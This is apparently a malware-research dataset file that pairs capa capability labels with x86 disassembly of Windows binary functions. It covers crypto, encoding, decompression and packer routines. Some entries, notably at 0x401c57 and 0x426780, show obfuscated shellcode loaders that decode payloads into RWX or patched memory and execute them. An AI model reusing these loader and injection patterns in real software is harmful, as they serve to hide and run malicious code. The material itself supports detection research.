joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cf50b
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 0xc]
lea eax, [ebp + 0xf]
push esi
mov esi, dword [ebp + 8]
push 1
push eax
mov byte [ebp + 0xf], bl
mov eax, dword [esi + 0x10028]
not eax
push eax
call fcn.004cedd8
mov ecx, dword [esi + 0x10030]
not eax
mov dword [esi + 0x10028], eax
not ecx
movzx eax, al
add eax, dword [esi + 0x1002c]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 0x1002c], eax
shr eax, 0x18
mov byte [ebp + 0xf], al
lea eax, [ebp + 0xf]
push eax
push ecx
call fcn.004cedd8
add esp, 0x18
not eax
mov dword [esi + 0x10030], eax
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x4d0391
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x4d03d5
cmp dword [ebp + 0xc], 0
je 0x4d03d5
cmp dword [ebp + 0x10], 0x10
jne 0x4d03d5
push 0x10
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
xor eax, eax
push eax
push eax
push eax
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x4d03d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0xc], eax
push 0xffffffffffffff96
jmp 0x4d03d7
mov eax, dword [ebp + 0x10]
jmp 0x4d03d8
push 0xffffffffffffff9a
pop eax
pop esi
pop ebp
ret

Function at 0x4d0423
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004d0781
Function at 0x4d0497
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
test esi, esi
je 0x4d05e9
cmp dword [ebp + 0xc], ebx
je 0x4d05e9
push esi
call fcn.004d08ac
cmp word [esi + 0x28], 0x14
mov eax, 0x8004
pop ecx
push 0xf0000040
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
lea edx, [eax + 8]
push ebx
cmovne eax, edx
push esi
mov dword [esi + 0xc], eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4d04f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x24], eax
jmp 0x4d05ce
mov ecx, dword [ebp + 0x10]
mov eax, ecx
push edi
and eax, 0x80000001
jns 0x4d0508
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
lea edx, [ecx + 1]
cmovne edx, ecx
mov dword [ebp + 8], edx
lea eax, [edx + 0xc]
push eax
call fcn.004e2df8
mov edi, eax
pop ecx
test edi, edi
je 0x4d05c4
mov eax, dword [ebp + 8]
add eax, 0xc
push eax
push ebx
push edi
call fcn.004d3200
mov eax, dword [ebp + 8]
push eax
push dword [ebp + 0xc]
mov dword [edi + 8], eax
lea eax, [edi + 0xc]
push eax
mov dword [edi], 0x208
mov dword [edi + 4], 0x6602
call fcn.004d1a20
add esp, 0x18
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 8]
push 0x100
push ebx
add eax, 0xc
push eax
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov dword [ebp - 4], eax
test eax, eax
je 0x4d05a9
lea eax, [esi + 4]
push eax
push ebx
push dword [esi + 8]
push 0x8009
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov dword [ebp - 4], eax
test eax, eax
je 0x4d05a9
push ebx
lea eax, [esi + 0xc]
push eax
push 5
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, edi
add eax, 0xc
je 0x4d05bb
mov byte [ecx], bl
inc ecx
sub eax, 1
jne 0x4d05b3
push edi
call fcn.004e2642
pop ecx
jmp 0x4d05c7
push 0xfffffffffffffffc
pop ebx
cmp dword [ebp - 4], 0
pop edi
jne 0x4d05da
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xffffffffffffff96
mov dword [esi + 0x24], eax
pop ebx
test ebx, ebx
je 0x4d05e5
push esi
call fcn.004d08ac
pop ecx
mov eax, ebx
jmp 0x4d05ec
push 0xffffffffffffff9a
pop eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4eebd3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004eea49

Function at 0x4f3d7f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004f39fc

Function at 0x4f9bf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004f9c00
Function at 0x4ffbb0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ffbc0
Function at 0x21780b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.02178200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x21780d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x21780c2
add dl, dl
jne 0x21780e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x2178134
xor eax, eax
add dl, dl
jne 0x21780ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x21781d5
add dl, dl
jne 0x21780fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2178108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2178113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x217811e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x217812a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x21780cd
mov eax, 1
add dl, dl
jne 0x2178142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x217814d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2178139
sub eax, ebx
mov ebx, 1
jne 0x2178180
mov ecx, 1
add dl, dl
jne 0x2178166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2178171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x217815d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x21780cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x2178197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x21781a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x217818e
cmp eax, 0x7d00
jae 0x21781c5
cmp eax, 0x500
jb 0x21781c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x21780cd
cmp eax, 0x7f
ja 0x21781c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x21780cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x21781f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x21780cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401c66
pop dword [ebp - 0x2c]
mov eax, 0x401c66
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x9df537bd
add dword [ebp - 0x3c], 0xb05d0d8e
mov dword [ebp - 0x38], 0xdbc69c76
add dword [ebp - 0x38], 0x566cafcf
mov dword [ebp - 0x34], 0x4fcc41db
sub dword [ebp - 0x34], 0x37ffdad
mov dword [ebp - 0x30], 0x8fef1bc4
add dword [ebp - 0x30], 0x7010e43c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xb8b39701
add eax, 0x478c9953
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x257bd91e
add dword [ebp - 0x3c], 0x4ef69038
mov dword [ebp - 0x38], 0xd693faa5
add dword [ebp - 0x38], 0x6ad866d0
mov dword [ebp - 0x34], 0xb75152ff
add dword [ebp - 0x34], 0xac1e196d
mov dword [ebp - 0x30], 0xd987934
add dword [ebp - 0x30], 0xf26786cc
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x34dfa
push 0
call eax
mov ecx, 0x972a2a3a
add ecx, 0x68d61758
mov edx, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x2c]
mov esi, 0x979c8871
sub esi, 0x8e96f526
xor dword [ebp - 0x28], edx
mov edi, dword [ebx]
xor dword [ebp - 0x24], 0xfab8b2e0
xor edi, esi
xor dword [ebp - 0x20], 0x9da9c674
mov dword [edx], edi
xor dword [ebp - 0x28], ecx
add edx, 0x17c6caff
sub edx, 0x17c6cafb
add ebx, 0xbcf7e8e
add ebx, 0xf4308176
loop 0x401d78
add eax, 0xf91b
mov ebx, eax
add eax, 0xf1faf60a
add eax, 0xe0509fb
mov ecx, 0xb1838d42
add ecx, 0x4ebc72be
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x405e30
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
mov edi, dword [ebp + 0xc]
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea eax, [ecx - 0x41]
cmp al, 0x19
ja 0x405e62
movsx eax, cl
sub eax, 0x41
jmp 0x405ea4
lea eax, [ecx - 0x61]
cmp al, 0x19
ja 0x405e71
movsx eax, cl
sub eax, 0x47
jmp 0x405ea4
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x405e80
movsx eax, cl
add eax, 4
jmp 0x405ea4
cmp cl, 0x2b
jne 0x405e8c
mov eax, 0x3e
jmp 0x405ea4
cmp cl, 0x2f
jne 0x405e98
mov eax, 0x3f
jmp 0x405ea4
cmp cl, 0x3d
jne 0x405f21
or eax, 0xffffffff
mov dword [ebp + edx*4 - 0x14], eax
inc edx
cmp edx, 4
jl 0x405e50
mov edx, dword [ebp - 0x14]
cmp edx, 0xffffffff
je 0x405f21
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffffff
je 0x405f21
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, 0xffffffff
jne 0x405ed2
cmp eax, ecx
jne 0x405f21
lea ebx, [ecx + 2]
jmp 0x405edd
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
add ebx, 2
shl edx, 6
and ecx, 0x3f
or edx, esi
and eax, 0x3f
shl edx, 6
or edx, ecx
shl edx, 6
or edx, eax
mov eax, edx
shr eax, 0x10
mov byte [edi], al
cmp ebx, 1
jbe 0x405f06
mov ecx, edx
shr ecx, 8
mov byte [edi + 1], cl
cmp ebx, 2
jbe 0x405f0e
mov byte [edi + 2], dl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret

Function at 0x406c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
test esi, esi
je 0x406c95
push ebx
mov ebx, dword [ebp + 0xc]
sub ebx, eax
nop word [eax + eax]
movzx edx, byte [ebx + eax]
lea eax, [eax + 1]
movzx ecx, byte [eax - 1]
xor edx, ecx
or edi, edx
sub esi, 1
jne 0x406c80
pop ebx
mov eax, pe_nt_image_headers32
sub eax, edi
pop edi
shr eax, 8
pop esi
pop ebp
ret
Function at 0x426780
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2350
call fcn.00429c20
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2344], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2348], eax
call fcn.004242f0
push 0x2336
lea eax, [ebp - 0x233c]
push 0x494000
push eax
call fcn.0042ae20
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov bl, byte [ebp - 0x233c]
push str.VirtualProtect
push eax
xor bl, 0x90
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x2350]
push ecx
nop
push 0x40
push 0x2335
push edi
nop
nop
nop
call eax
mov ecx, edi
lea esi, [ebp - 0x233c]
sub esi, ecx
mov edx, 0x2335
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
nop
nop
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x426814
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.004216c0
mov eax, dword [ebp - 0x2344]
mov dword [0x4a3c9c], eax
mov dword [0x4a3ca4], 0
call fcn.00423f80
push 0
lea eax, [ebp - 0x234c]
push eax
lea eax, [ebp - 0x2340]
push eax
push dword [ebp - 0x2348]
call fcn.00429680
xor edi, edi
add esp, 0x10
cmp dword [ebp - 0x2340], edi
jle 0x426996
mov eax, dword [ebp - 0x234c]
mov ecx, str._pgpfp
mov esi, dword [eax + edi*4]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4268c1
test dl, dl
je 0x4268bd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4268c1
add eax, 2
add ecx, 2
test dl, dl
jne 0x4268a1
xor eax, eax
jmp 0x4268c6
sbb eax, eax
or eax, 1
test eax, eax
je 0x426979
mov ecx, 0x496370
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4268f5
test dl, dl
je 0x4268f1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4268f5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4268d5
xor eax, eax
jmp 0x4268fa
sbb eax, eax
or eax, 1
test eax, eax
je 0x42695e
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x426925
test dl, dl
je 0x426921
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x426925
add eax, 2
add ecx, 2
test dl, dl
jne 0x426905
xor eax, eax
jmp 0x42692a
sbb eax, eax
or eax, 1
test eax, eax
je 0x42695e
mov eax, str._restrictacl
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x426955
test dl, dl
je 0x426951
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x426955
add ecx, 2
add eax, 2
test dl, dl
jne 0x426935
xor eax, eax
jmp 0x42695a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x426971
call fcn.00427e70
inc edi
cmp edi, dword [ebp - 0x2340]
jge 0x426996
jmp 0x426891
mov dword [0x4a28b0], esi
jmp 0x426996
call fcn.004295a0
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret 0x10
call fcn.00419aa0
push 0
push 0x425100
push 0
push 0xc9
push dword [0x4a3c9c]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
dec eax
neg eax
sbb eax, eax
neg eax
push eax
call fcn.004269d0
int3
Function at 0x10011340
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x100114f5
pushal
mov esi, 0x1000d015
lea edi, [esi - 0xc015]
push edi
jmp 0x1001136a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10011371
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10011360
mov eax, 1
add ebx, ebx
jne 0x10011383
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10011378
jne 0x10011394
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10011378
xor ecx, ecx
sub eax, 3
jb 0x100113a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001141a
mov ebp, eax
add ebx, ebx
jne 0x100113b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x100113c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x100113e4
inc ecx
add ebx, ebx
jne 0x100113d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x100113c5
jne 0x100113e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100113c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10011404
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x100113f5
jmp 0x10011366
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10011404
add edi, ecx
jmp 0x10011366
pop esi
mov edi, esi
mov ecx, 0x5b47
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x1001143f
cmp byte [edi], 2
jne 0x10011424
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x10011422
lea edi, [esi + 0xf000]
mov eax, dword [edi]
or eax, eax
je 0x10011487
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x11408]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11474]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10011445
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x11478]
or eax, eax
je 0x10011481
mov dword [ebx], eax
add ebx, 4
jmp 0x10011462
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x100114b8
cmp al, 0xef
ja 0x100114ab
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1001148d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1001149a
mov ebp, dword [esi + 0x1147c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x100114ec
sub esp, 0xffffff80
jmp 0x10004040
Function at 0x40a760
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40a92f
sub esp, 0x34
mov eax, dword [esp + 0x38]
cmp eax, 0x7000000
jle 0x40a902
mov eax, 0x7000000
mov dword [esp + 0x38], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x90]
mov ebx, dword [ecx + 0x94]
mov dword [ecx + 0x90], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x94], ebp
lea ecx, [ebp + ebx]
and ecx, 0x3ffffff
inc ecx
mov dword [esp], ecx
call fcn.00453f70
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
mov edi, dword [esp + 0x24]
shr edi, 0x1b
shl ebx, 5
or edi, ebx
test esi, esi
jne 0x40a922
cmp ecx, 0x21
jae 0x40a916
mov dword [esp + 0x10], edi
lea ebx, [0x5a2980]
movsd xmm0, qword [ebx + ebp*8]
movsd qword [esp + 0x14], xmm0
movsd xmm1, qword [ebx + ecx*8]
movsd qword [esp + 0x1c], xmm1
mov dword [esp], eax
add edx, 0xfffffc01
mov eax, 0xffffffff
adc eax, 0
mov dword [esp + 4], eax
call fcn.0044ebd0
mov eax, dword [esp + 0x10]
and eax, 0xfffff
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.0044ecc0
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
mulsd xmm2, qword [esp + 8]
movsd xmm1, qword [0x512860]
mulsd xmm1, xmm2
addsd xmm0, xmm1
movsd xmm1, qword [0x5128d8]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40a8dd
xorps xmm0, xmm0
mov eax, dword [esp + 0x38]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x512928]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x3c], eax
add esp, 0x34
ret
test eax, eax
jne 0x40a78d
mov dword [esp + 0x3c], 0
add esp, 0x34
ret
mov eax, ecx
mov ecx, 0x21
call fcn.00454050
mov eax, ecx
mov ecx, 0x21
call fcn.00454110
nop
call fcn.00452780
jmp fcn.0040a760
Function at 0x412820
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x412a3c
sub esp, 0x18
mov eax, dword [0x5c2d24]
test eax, eax
jne 0x412a25
lea eax, [0x5c2d10]
mov dword [esp], eax
call fcn.004085a0
mov eax, dword [0x5b1378]
test eax, eax
je 0x41286c
cmp dword [eax + 8], 0xcc
jne 0x412934
mov edx, dword [0x5b1370]
test edx, edx
jne 0x412916
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x5c43b8]
mov dword [esp + 8], eax
call fcn.0040a940
mov eax, dword [esp + 0xc]
mov dword [0x5b1370], eax
mov ecx, dword [0x5b134c]
mov dword [eax], ecx
mov eax, dword [0x5b1370]
mov dword [0x5b134c], eax
movzx eax, byte [0x5c3020]
test al, al
jne 0x412916
xor eax, eax
jmp 0x4128d3
lea esi, [0x5c3020]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x412916
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x412a1b
lea edx, [0x59e11c]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x4128c5
jmp 0x412a0f
mov edx, dword [0x5b1370]
mov ebx, dword [edx + 4]
mov dword [0x5b1370], ebx
mov ebx, dword [0x5b1378]
mov dword [edx + 4], ebx
mov dword [0x5b1378], edx
mov edx, dword [0x5b1378]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x412a05
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.004020a0
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0x5c2e60]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x4129f6
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0x5c2e60]
test edx, edx
jne 0x4129d3
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
mov byte [0x5c2ca9], 1
lea eax, [0x5c2d10]
mov dword [esp], eax
call fcn.00408780
add esp, 0x18
ret
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.00453fc0
mov edi, ebp
mov eax, dword [esp + 0x2c]
call fcn.00453fc0
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.00453fc0
jmp 0x4129ba
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.00453fc0
mov eax, edx
jmp 0x412990
mov ecx, 0xcc
call fcn.00454050
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.00454040
mov ecx, 5
call fcn.00454040
lea eax, [0x4f6e83]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.0042dc50
nop
call fcn.00452780
jmp fcn.00412820
Function at 0x421cf0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x421df9
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 1
je 0x421d77
cmp cl, 2
jne 0x421de2
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.00426b00
lea eax, [0x5b6d10]
mov dword [esp], eax
call fcn.004085a0
nop
mov eax, dword [0x5b6d04]
sub eax, dword [0x5b6cec]
mov dword [0x5b6d04], eax
mov eax, dword [0x5b6cf8]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x5b6cf8], ecx
lea eax, [0x5b6d10]
mov dword [esp], eax
call fcn.00408780
add esp, 0x14
ret
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.00412820
lea eax, [0x5b6d10]
mov dword [esp], eax
call fcn.004085a0
nop
mov eax, dword [0x5b6ce0]
sub eax, dword [0x5b6cc8]
mov dword [0x5b6ce0], eax
mov eax, dword [0x5b6cd4]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x5b6cd4], ecx
lea eax, [0x5b6d10]
mov dword [esp], eax
call fcn.00408780
jmp 0x421d73
lea eax, [0x4f3e15]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.0042dc50
nop
call fcn.00452780
jmp fcn.00421cf0